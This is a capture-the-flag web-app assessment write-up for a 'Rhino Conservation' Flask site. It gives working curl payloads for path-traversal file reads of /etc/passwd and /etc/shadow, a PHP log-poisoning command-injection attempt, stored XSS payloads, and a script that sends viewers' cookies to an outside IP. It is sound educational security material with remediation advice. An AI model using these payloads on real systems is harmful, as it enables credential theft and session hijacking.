ctf.rsl.host — Rhino Security
Web-app assessment (Rhino Security CTF). A Flask/nginx "Rhino Conservation" site behind Cloudflare, written up in report style. Findings: missing security he…
ctf.rsl.host — Rhino Security
Web-app assessment (Rhino Security CTF). A Flask/nginx "Rhino Conservation" site behind Cloudflare, written up in report style. Findings: missing security headers, path-traversal LFI via data_source, log-poisoning vector, and stored XSS in the profile bio field.
Enumeration
Whatweb / fingerprint
$whatweb https://ctf.rsl.host/$# [200 OK] HTTPServer[cloudflare], Title[Rhino Conservation], x-envoy-upstream-service-time (Envoy behind CF)Ffuf — content discovery
$ffuf -u https://ctf.rsl.host/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,302,403$# admin [403], data [200], profile [200], search [200]admin returns 403 at the edge. A hidden form on the home page posts to /pdf with url=static/rhino_info.html (a candidate SSRF/URL param).
Findings
1. Missing security headers (Medium)
No X-Frame-Options, Strict-Transport-Security, or X-Content-Type-Options. x-envoy-upstream-service-time leaks backend timing; alt-svc: h3 can cause HTTP/3-unaware scanners to miss issues. Remediate by adding X-Frame-Options: DENY, HSTS, and X-Content-Type-Options: nosniff.
2. LFI via data_source (Critical)
POST /data builds a file path directly from the data_source parameter with no sanitization. A ....// traversal reads arbitrary files:
$curl -X POST -d "data_source=....//....//etc/passwd" https://ctf.rsl.host/data$curl -X POST -d "data_source=....//....//etc/shadow" https://ctf.rsl.host/data$curl -X POST -d "data_source=....//....//etc/hosts" https://ctf.rsl.host/data$# /etc/hosts leaks internal IP: 10.1.32.26 ip-10-1-32-26.ec2.internal (AWS)Remediate: whitelist filenames, resolve with os.path.realpath() + prefix check, never build paths from user input.
3. Log poisoning via LFI (High — attempted RCE)
Inject PHP into the User-Agent, which lands in the web logs, then include the log via the LFI:
$curl -A "<?php system(\$_GET['cmd']); ?>" https://ctf.rsl.host/ > /dev/null$curl -X POST -d "data_source=....//....//....//var/log/nginx/access.log" "https://ctf.rsl.host/data?cmd=id"TL;DR: working LFI ✅ and log-poisoning vector ✅, but no PHP execution on this (nginx, non-PHP) stack — logs weren't found/parsed as PHP, so RCE didn't land.
4. Stored XSS in bio (High)
POST /profile reflects the bio field unsanitized:
$curl -X POST -d "username=testuser&bio=<script>alert('XSS')</script>" https://ctf.rsl.host/profile$# Bio: <script>alert('XSS')</script> (stored, unescaped)$curl -X POST -d "username=testuser&bio=<img src=x onerror=alert('XSS')>" https://ctf.rsl.host/profile$curl -X POST -d "username=testuser&bio=<svg/onload=alert('XSS')>" https://ctf.rsl.host/profileWeaponize for cookie exfiltration against any viewer (e.g. an admin):
01<script>02 new Image().src="http://192.168.1.15:8000/log?cookie="+document.cookie;03</script>Remediate: context-aware output encoding, autoescaping templates, CSP, and input validation on bio.